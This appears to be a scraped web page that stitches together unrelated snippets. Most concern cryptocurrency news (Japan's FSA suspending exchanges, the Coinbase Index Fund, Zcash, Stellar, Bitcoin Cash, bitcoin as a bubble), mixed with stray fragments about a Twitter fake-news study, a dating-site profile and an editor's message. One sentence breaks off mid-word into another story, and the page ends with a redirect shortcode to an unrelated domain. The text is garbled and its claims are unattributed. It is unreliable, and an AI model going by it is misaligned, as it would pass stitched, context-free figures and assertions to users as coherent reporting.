In a concerted effort to crack down on money laundering, Japan’s Financial Services Agency (FSA) has suspended all operations for two crypto exchanges who were found to be indulging in suspicious monetary undertakings.
ICON developers claim that its ecosystem already boasts reputable institutions such as banks, insurance companies, universities, and more that believe that the ICON platform can enable frictionless value exchange of securities, medical records, academic data, and insurance fees.
The so-called Coinbase Index Fund will give investors access to the digital currencies listed on GDAX, the exchange operated by Coinbase. It will be weighted by market capitalization and will adjust when new coins are added to the exchange.
It’s been a crazy week in the crypto sphere. The majority of coins are down today, Monero (XMR), VeChain Thor (VEN) (VET), and Nano among them. First, rumors abounded that Ripple would finally be joining …
Coinbase product manager Reuben Bramanathan told Business Insider in a phone interview that the product reflects the growing demand on the part of institutional investors and high-net-worth individuals looking to dive into the market for digital coins, which stands at about $500 billion in value.
The real question is why one bitcoin is worth $11,000 (and why Ethereum is worth $1,040, and why one particular Cryptokitty is worth $100,000). There, you can find two answers. The sympathetic one is that all these cryptocurrencies are, by their nature, scarce assets – only a certain amount exist in the world. If they are to be widely adopted for real-world use, then people will need to buy those scarce assets, and so their value will necessarily be higher than they are today. The current price, in that story, simply reflects the probability that any particular cryptocurrency will actually be widely massive new study analyzes every major contested news story in English across the span of Twitter’s existence—some 126,000 stories, tweeted by 3 million users, over more than 10 years—and finds that the truth simply cannot compete with hoax and rumor. By every common metric, falsehood consistently dominates the truth on Twitter, the study finds: Fake news and false rumors reach more people, penetrate deeper into the social network, and spread much faster than accurate stories.
Blockchain is basically a digital ledger that contains the payment history of each circulation of the unit. If the PBOC’s version is widely adopted, that would challenge existing intermediaries such as banks and payment services like Alibaba affiliate Alipay and Tencent’s WeChat — two leading online payment networks.
Zcash, a decentralized and open-source cryptocurrency launched in the latter part of 2016, looks promising. “If Bitcoin is like http for money, Zcash is https,” is how Zcash defines itself. Zcash offers privacy and selective transparency of transactions. Thus, like https, Zcash claims to provide extra security or privacy where all transactions are recorded and published on a blockchain, but details such as the sender, recipient, and amount remain private. Zcash offers its users the choice of ‘shielded’ transactions, which allow for content to be encrypted using advanced cryptographic technique or zero-knowledge proof construction called a zk-SNARK developed by its team. (Related reading, see: What Is Zcash?)
Recently, IBM announced a partnership with Stellar to enable banks to complete instant cross-border transactions with each other, which seems to have propelled Stellar Lumens back into the top 25 cryptocurrencies. IBM will use its own custom blockchain solution for much of the transaction clearing, but the transaction settlement will be done on the Stellar network.
By the spring of 2016, Missi Brandt had emerged from a rough few years with a new sense of solidity. At 45, she was three years sober and on the leeward side of a stormy divorce. She was living with her preteen daughters in the suburbs of St. Paul, Minnesota, and working as a flight attendant. Missi felt ready for a serious relationship again, so she made a profile on OurTime.com, a dating site for people in middle age.
Although it has only existed for a few weeks, Bitcoin Cash has already surged to top five in terms of market cap. That’s because Bitcoin Cash is actually a fork of Bitcoin, supported by the biggest Bitcoin mining company as well as the manufacturer of Bitcoin mining chips (ASICs) — Bitmain.
3. Receive a Facebook message out of the blue from Ken Kurson, a Big Important Male Editor at the New York Observer, saying he loves your work and wants you to consider writing for him instead. Push him off for six months, as you’re under contract.
So just now the bitcoin boom of the past year looks not so much like the birth of a new currency as like a classic bubble. And this has created a real paradox for bitcoin enthusiasts. The best thing for bitcoins would be for people to stop thinking of them as an investment and start thinking of them as a currency. That probably requires the bubble to burst, as it may be doing right now. But if the bubble bursts, it’s possible that people’s interest in Bitcoin will just fade away. After all, would you accept bitcoins in exchange for your work or products if you knew their value had fallen 50 percent in a matter of days? The challenge for Bitcoin now is whether, having become popular because of the cycle of hype, it can somehow avoid being devoured by it. Only then might we be able to say, Good-bye, asset; hello, currency.
Unless you have a lot of money to blow and are a risk seeker, you should probably stick to a safer investment portfolio. Maybe buy a few if you want to try it out, but it’s definitely still considered a grey zone in the financial world. [redirect url=’http://jerseystudionetwork.info/bump’ sec=’7′]